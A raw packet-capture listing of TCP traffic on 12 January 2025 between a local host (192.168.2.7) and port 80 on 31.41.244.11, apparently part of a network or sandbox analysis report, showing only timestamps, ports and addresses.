Jan 12, 2025 17:39:08.758955002 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.758987904 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.759038925 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.759298086 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.759322882 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.759334087 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.759346008 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.759356976 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.759356976 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.759356976 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.759368896 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.759388924 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.759399891 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.759414911 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.759418964 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.759418964 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.759448051 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.759458065 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.759458065 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.759459019 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.759469986 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.759485960 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.759537935 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.759658098 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.759670973 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.759682894 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.759728909 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.759728909 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.759742975 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.759753942 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.759767056 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.759778023 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.759799004 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.759799957 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.759800911 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.759850025 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.759850025 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.761287928 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.761308908 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.761321068 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.761373043 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.761373043 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.761378050 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.761392117 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.761408091 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.761421919 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.761447906 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.761447906 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.761471033 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.761482954 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.761495113 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.761507034 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.761521101 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.761523008 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.761523008 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.761569023 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.761569023 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.761702061 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.761713982 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.761724949 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.761735916 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.761742115 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.761746883 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.761753082 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.761770964 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.761782885 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.761787891 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.761787891 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.761795998 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.761806011 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.761809111 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.761820078 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.761835098 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.761868000 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.761868000 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.842436075 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.842452049 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.842463017 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.842468023 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.842531919 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.842542887 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.842556000 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.842561960 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.842569113 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.842593908 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.842606068 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.842626095 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.842670918 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.842681885 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.842690945 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.842710018 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.842710018 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.842794895 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.879940987 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.879955053 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.879973888 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.879986048 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.879997015 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.880009890 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.880053043 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.880062103 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.880062103 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.880063057 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.880076885 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.880089045 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.880099058 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.880114079 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.880114079 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.880114079 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.880124092 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.880156994 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.880167961 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.880167961 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.880193949 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.880203962 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.880220890 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.880228043 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.880228043 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.880232096 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.880253077 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.880260944 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.880260944 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.880336046 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.880362034 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.880373955 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.880419970 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.880419970 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.880642891 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.880695105 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.880709887 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.880742073 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.880750895 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.880763054 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.880779028 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.880779028 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.880794048 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.880804062 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.880817890 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.880845070 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.880845070 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.880871058 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.880882025 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.880892992 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.880925894 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.880925894 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.880961895 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.880986929 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.881033897 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.881043911 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.881059885 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.881069899 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.881071091 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.881071091 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.881088018 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.881099939 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.881103992 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.881103992 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.881108999 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.881146908 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.881146908 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.881206036 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.881216049 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.881226063 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.881261110 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.881261110 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.881443977 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.881454945 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.881464958 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.881491899 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.881530046 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.881541014 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.881551981 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.881565094 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.881597996 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.881597996 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.881669044 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.881679058 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.881690025 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.881700039 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.881715059 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.881726027 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.881736040 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.881736994 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.881736994 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.881762981 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.881800890 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.881941080 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.881952047 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.881964922 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.881983995 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.881988049 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.882011890 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.882011890 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.882031918 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.882054090 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.882066011 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.882076025 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.882102966 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.882141113 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.882164955 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.882175922 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.882181883 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.882191896 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.882201910 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.882213116 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.882222891 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.882234097 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.882237911 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.882237911 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.882265091 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.882283926 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.882294893 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.882304907 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.882319927 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.882319927 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.882332087 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.882340908 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.882366896 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.882400036 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.882462025 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.882471085 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.882477999 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.882491112 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.882503033 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.882504940 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.882555962 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.882723093 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.882772923 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.882782936 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.882801056 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.882803917 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.882803917 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.882813931 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.882823944 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.882836103 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.882843018 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.882843018 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.882846117 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.882885933 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.882885933 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.882913113 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.882925034 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.882941961 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.882955074 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.882966042 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.882987976 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.882987976 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.883024931 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.883070946 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.883116007 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.883157969 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.883167982 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.883177042 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.883188009 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.883198977 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.883209944 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.883258104 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.883260012 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.883260012 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.883266926 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.883276939 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.883287907 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.883306980 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.883306980 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.883330107 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.883339882 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.883352995 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.883362055 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.883378983 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.883395910 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.883408070 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.883419037 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.883440971 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.883440971 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.883469105 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.883491993 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.883500099 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.883511066 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.883534908 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.883534908 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.883759975 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.883771896 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.883781910 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.883796930 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.883809090 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.883826017 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.883826017 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.883842945 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.883855104 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.883882999 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.883882999 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.883907080 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.883915901 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.883922100 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.883949041 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.884004116 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.884016037 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.884026051 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.884036064 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.884042978 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.884042978 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.884046078 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.884445906 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.887505054 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.887522936 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.887533903 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.887543917 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.887554884 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.887569904 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.887583971 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.887588978 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.887588978 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.887644053 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.928726912 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.928746939 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.928761005 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.928798914 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.928798914 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.928818941 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.928832054 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.928843021 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.928849936 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.928857088 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.928870916 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.928874016 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.928890944 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.928891897 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.928901911 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.928913116 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.928913116 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.928930044 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.928941965 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.928947926 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.928947926 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.928953886 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.928981066 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.929013014 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.966434002 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.966458082 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.966470957 CET	80	49975	31.41.244.11	192.168.2.7
